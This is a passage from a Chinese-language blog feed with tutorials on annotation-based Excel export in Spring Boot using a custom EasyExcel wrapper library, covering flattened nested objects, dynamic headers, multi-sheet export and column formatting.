class="meta">@GetMapping(&quot;/flatten-property&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;对象展开示例&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;员工信息&quot;)  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;FlattenPropertyExampleDTO&gt; <span class="title function_">flattenPropertyExport</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;10&quot;)</span> <span class="type">int</span> count)</span> &#123;  </span><br><span class="line">    <span class="comment">// FlattenPropertyWriteHandler 会自动检测 @FlattenProperty 注解并处理嵌套对象展开  </span></span><br><span class="line">    <span class="keyword">return</span> testDataService.generateFlattenPropertyExamples(count);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="meta">@NoArgsConstructor</span>  </span><br><span class="line"><span class="meta">@AllArgsConstructor</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FlattenPropertyExampleDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;员工ID&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Long id;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;员工姓名&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String name;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;年龄&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Integer age;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 自动展开部门的所有 @ExcelProperty 字段  </span></span><br><span class="line">    <span class="meta">@FlattenProperty(prefix = &quot;部门-&quot;)</span>  </span><br><span class="line">    <span class="meta">@ExcelIgnore</span>  <span class="comment">// 必须添加，否则 EasyExcel 会尝试直接导出 Department 对象  </span></span><br><span class="line">    <span class="keyword">private</span> Department department;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 自动展开上级部门的所有字段，使用不同的前缀避免冲突  </span></span><br><span class="line">    <span class="meta">@FlattenProperty(prefix = &quot;上级部门-&quot;)</span>  </span><br><span class="line">    <span class="meta">@ExcelIgnore</span>  <span class="comment">// 必须添加  </span></span><br><span class="line">    <span class="keyword">private</span> Department parentDept;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 递归展开（会自动展开 department 内部的 leader 对象）  </span></span><br><span class="line">    <span class="meta">@FlattenProperty(prefix = &quot;主管-&quot;, recursive = true, maxDepth = 2)</span>  </span><br><span class="line">    <span class="meta">@ExcelIgnore</span>  <span class="comment">// 必须添加  </span></span><br><span class="line">    <span class="keyword">private</span> Department managerDept;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实际效果：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/a98b76235f39c51629b904f78b62f806.png" alt=""></p><h3 id="嵌套对象垂直展开">嵌套对象垂直展开</h3><p>视图对象中嵌套对象的list，将这个list对象的内容一并输出到excel表格中。<br>代码示例：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/flatten-list-student&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;学生课程奖项列表&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;学生信息&quot;)  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;FlattenListStudentDTO&gt; <span class="title function_">flattenListStudentExport</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;5&quot;)</span> <span class="type">int</span> count)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateFlattenListStudents(count);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="meta">@NoArgsConstructor</span>  </span><br><span class="line"><span class="meta">@AllArgsConstructor</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FlattenListStudentDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;学生姓名&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String name;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;学号&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String studentNo;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;班级&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String className;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 多个 List - 使用 MAX_LENGTH 策略（默认）  </span></span><br><span class="line">    <span class="meta">@FlattenList(prefix = &quot;课程-&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> List&lt;Course&gt; courses;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@FlattenList(prefix = &quot;奖项-&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> List&lt;Award&gt; awards;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实际导出效果：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/d15bd03df5f3a3b8ffea743746ef8425.png" alt=""></p><h3 id="动态表头">动态表头</h3><p>如果视图对象中存在Map，那么会将该Map内容动态生成表头并填充数据，注意下面的<code>@DynamicHeaders</code>注解的使用。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/dynamic-header&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;动态表头示例&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;产品列表&quot;)  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;DynamicHeaderDTO&gt; <span class="title function_">dynamicHeaderExport</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;15&quot;)</span> <span class="type">int</span> count)</span> &#123;   </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateDynamicHeaderData(count);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="meta">@NoArgsConstructor</span>  </span><br><span class="line"><span class="meta">@AllArgsConstructor</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DynamicHeaderDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;产品ID&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Long productId;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;产品名称&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String productName;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;分类&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String category;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 动态属性（从数据中自动提取表头）  </span></span><br><span class="line"><span class="comment">     * &lt;p&gt;  </span></span><br><span class="line"><span class="comment">     * 不同产品的属性可能不同，表头动态生成  </span></span><br><span class="line"><span class="comment">     * &lt;/p&gt;  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@DynamicHeaders(strategy = DynamicHeaderStrategy.FROM_DATA, headerPrefix = &quot;属性-&quot;,  </span></span><br><span class="line"><span class="meta">          order = DynamicHeaders.SortOrder.ASC)</span>  </span><br><span class="line">    <span class="keyword">private</span> Map&lt;String, Object&gt; properties;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 扩展字段（使用预定义表头）  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@DynamicHeaders(strategy = DynamicHeaderStrategy.FROM_CONFIG, headers = &#123; &quot;备注1&quot;, &quot;备注2&quot;, &quot;备注3&quot; &#125;,  </span></span><br><span class="line"><span class="meta">          headerPrefix = &quot;扩展-&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Map&lt;String, Object&gt; extFields;  </span><br><span class="line">  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实际效果：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/823c307007d769f375a5e26be59486dc.png" alt=""></p>]]></content>
    
    
    <summary type="html">spring boot项目excel导出功能封装——2.高级导出</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="excel" scheme="https://blog.allbs.cn/tags/excel/"/>
    
    <category term="导入导出" scheme="https://blog.allbs.cn/tags/%E5%AF%BC%E5%85%A5%E5%AF%BC%E5%87%BA/"/>
    
  </entry>
  
  <entry>
    <title>spring boot项目excel导出功能封装——1.简单导出</title>
    <link href="https://blog.allbs.cn/posts/cfe6d678/"/>
    <id>https://blog.allbs.cn/posts/cfe6d678/</id>
    <published>2025-11-24T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<h2 id="说在前面">说在前面</h2><p>封装的easyexcel，基于注解实现excel的导入导出，以场景来说，就是你有一个<strong>现成的分页接口或者一个list接口</strong>，只需要添加几个简单的注解，就可以实现excel的导出，也是为了方便有模板生成代码的情况下直接生成导出功能。</p><p>这是封装的依赖库源码：<a href="https://github.com/chenqi92/allbs-excel">https://github.com/chenqi92/allbs-excel</a></p><p>这是这个依赖库的使用示例：<a href="https://github.com/chenqi92/allbs-excel-test">https://github.com/chenqi92/allbs-excel-test</a></p><p>依赖库运行后在浏览器中打开：<a href="http://localhost:8080/">http://localhost:8080/</a> 即可测试各种示例，参照示例进行使用可以不用看后续的使用说明。</p><p>前面三篇功能点较为分散，没有特意合并测试，想了想，如果真要那么复杂的表格设置，貌似写模板最方便。<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/3e4c96342442be536d943c469e8dca16.png" alt=""></p><h2 id="使用说明">使用说明</h2><p>添加maven依赖</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-excel<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.0.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="基本导出">基本导出</h3><p>第一个导出我贴比较详细点的代码，后续就直接说需要添加的内容了。<br>假设你原本有一个这样的接口</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/simple&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;UserDTO&gt; <span class="title function_">simpleExport</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;10&quot;)</span> <span class="type">int</span> count)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateUsers(count);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@NotNull(message = &quot;用户ID不能为空&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Long id;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;用户名不能为空&quot;)</span>  </span><br><span class="line">    <span class="meta">@Size(min = 2, max = 20, message = &quot;用户名长度必须在2-20之间&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String username;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Email(message = &quot;邮箱格式不正确&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String email;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@DateTimeFormat(&quot;yyyy-MM-dd HH:mm:ss&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> LocalDateTime createTime;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">private</span> Integer age;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">private</span> String status;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那么将这个接口变成导出接口，可以增加这些注解：<br><code>@ExportExcel</code>,<code>@ExcelProperty</code>就可以变成一个导出接口。<br>上面的代码就变成了：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/simple&quot;)</span> </span><br><span class="line"><span class="comment">// 导出的excel文件名为用户列表，sheet为用户信息 </span></span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;用户列表&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;用户信息&quot;)  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;UserDTO&gt; <span class="title function_">simpleExport</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;10&quot;)</span> <span class="type">int</span> count)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateUsers(count);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line"><span class="comment">// index 就是列的排序</span></span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;用户ID&quot;, index = 0)</span>  </span><br><span class="line">    <span class="meta">@NotNull(message = &quot;用户ID不能为空&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Long id;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;用户名&quot;, index = 1)</span>  </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;用户名不能为空&quot;)</span>  </span><br><span class="line">    <span class="meta">@Size(min = 2, max = 20, message = &quot;用户名长度必须在2-20之间&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String username;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;邮箱&quot;, index = 2)</span>  </span><br><span class="line">    <span class="meta">@Email(message = &quot;邮箱格式不正确&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String email;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;创建时间&quot;, index = 3)</span>  </span><br><span class="line">    <span class="meta">@DateTimeFormat(&quot;yyyy-MM-dd HH:mm:ss&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> LocalDateTime createTime;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;年龄&quot;, index = 4)</span>  </span><br><span class="line">    <span class="keyword">private</span> Integer age;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;状态&quot;, index = 5)</span>  </span><br><span class="line">    <span class="keyword">private</span> String status;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>导出的效果为：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/18a28a18f98f05e355215991afacabd5.png" alt=""></p><p>这是一个最简单的用法，基本上实际业务有这样的也就可以了。</p><h3 id="空表头导出">空表头导出</h3><p>如果实际情况中你的返回结果列表中没有数据，上面的代码不足以导出一个文件，需要添加一个属性<code>clazz = UserDTO.class</code>，那么需要修改一下controller注解为</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/empty&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;空用户列表&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(  </span></span><br><span class="line"><span class="meta">        sheetName = &quot;用户信息&quot;, </span></span><br><span class="line"><span class="meta">        // 指定数据类型用于生成表头   </span></span><br><span class="line"><span class="meta">        clazz = UserDTO.class  </span></span><br><span class="line"><span class="meta">    )  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;UserDTO&gt; <span class="title function_">emptyExport</span><span class="params">()</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> Collections.emptyList();  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="只导出添加了-ExcelProperty注解的字段">只导出添加了<code>@ExcelProperty</code>注解的字段</h3><p>当前的实现为如果你的返回结果类中字段没有添加<code>@ExcelProperty</code>注解，那么导出到excel中列名实际上是字段名，那么如何让导出时只展示添加了注解的字段呢？那就是添加<code>onlyExcelProperty = true</code>属性，同时这种方式也可以避免添加过多的<code>@ExcelIgnore</code>。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/only-annotated&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;用户列表-仅注解字段&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;用户信息&quot;),  </span></span><br><span class="line"><span class="meta">    // 只导出有 @ExcelProperty 注解的字段</span></span><br><span class="line"><span class="meta">    onlyExcelProperty = true    </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;UserDTO&gt; <span class="title function_">onlyAnnotatedExport</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;10&quot;)</span> <span class="type">int</span> count)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateUsers(count);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="多-Sheet-导出">多 Sheet 导出</h3><p>上述内容讲的都是单个sheet导出，实际业务过程肯定会有多个sheet的导出，以下为示例：<br>实际上就是设置了多个sheet的名称，并返回对于数量的列表。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/multi-sheet&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;综合报表&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = &#123;  </span></span><br><span class="line"><span class="meta">        @Sheet(sheetName = &quot;用户信息&quot;, clazz = UserDTO.class),  </span></span><br><span class="line"><span class="meta">        @Sheet(sheetName = &quot;订单信息&quot;, clazz = OrderDTO.class)  </span></span><br><span class="line"><span class="meta">    &#125;)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;List&lt;?&gt;&gt; multiSheetExport(  </span><br><span class="line">    <span class="meta">@RequestParam(defaultValue = &quot;10&quot;)</span> <span class="type">int</span> userCount,  </span><br><span class="line">    <span class="meta">@RequestParam(defaultValue = &quot;20&quot;)</span> <span class="type">int</span> orderCount  </span><br><span class="line">) &#123;  </span><br><span class="line">    List&lt;UserDTO&gt; users = testDataService.generateUsers(userCount);  </span><br><span class="line">    List&lt;OrderDTO&gt; orders = testDataService.generateOrders(orderCount);  </span><br><span class="line">    <span class="keyword">return</span> Arrays.asList(users, orders);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>导出效果：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/9261978c493e25437bcf81c9be9e2e71.png" alt=""></p><h3 id="设定表格的列宽和行高">设定表格的列宽和行高</h3><p>通过注解<code>@ContentRowHeight(25)</code>和<code>@ColumnWidth</code>实现<br>代码示例：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="meta">@ContentRowHeight(25)</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ProductDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;产品ID&quot;, index = 0)</span>  </span><br><span class="line">    <span class="meta">@ColumnWidth(10)</span>  </span><br><span class="line">    <span class="keyword">private</span> Long id;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;产品名称&quot;, index = 1)</span>  </span><br><span class="line">    <span class="meta">@ColumnWidth(20)</span>  </span><br><span class="line">    <span class="keyword">private</span> String name;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;产品分类&quot;, index = 2)</span>  </span><br><span class="line">    <span class="meta">@ColumnWidth(15)</span>  </span><br><span class="line">    <span class="keyword">private</span> String category;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;价格&quot;, index = 3)</span>  </span><br><span class="line">    <span class="meta">@ColumnWidth(15)</span>  </span><br><span class="line">    <span class="keyword">private</span> BigDecimal price;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;库存&quot;, index = 4)</span>  </span><br><span class="line">    <span class="meta">@ColumnWidth(10)</span>  </span><br><span class="line">    <span class="keyword">private</span> Integer stock;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;产品描述&quot;, index = 5)</span>  </span><br><span class="line">    <span class="meta">@ColumnWidth(50)</span>  </span><br><span class="line">    <span class="keyword">private</span> String description;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实现效果：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/ef7a54c1156c2fa8565737a94f7a93de.png" alt=""></p><h3 id="自动行号">自动行号</h3><p>实际上没啥用的功能，就是多一列序号。<br>通过添加注解<code>@ExcelLine</code>实现<br>代码示例：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="meta">@NoArgsConstructor</span>  </span><br><span class="line"><span class="meta">@AllArgsConstructor</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RowNumberDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * Excel行号 (自动填充,从1开始)  </span></span><br><span class="line"><span class="comment">     */</span>    <span class="meta">@ExcelLine</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;行号&quot;, index = 0)</span>  </span><br><span class="line">    <span class="keyword">private</span> Long rowNum;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;产品名称&quot;, index = 1)</span>  </span><br><span class="line">    <span class="keyword">private</span> String productName;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;产品代码&quot;, index = 2)</span>  </span><br><span class="line">    <span class="keyword">private</span> String productCode; 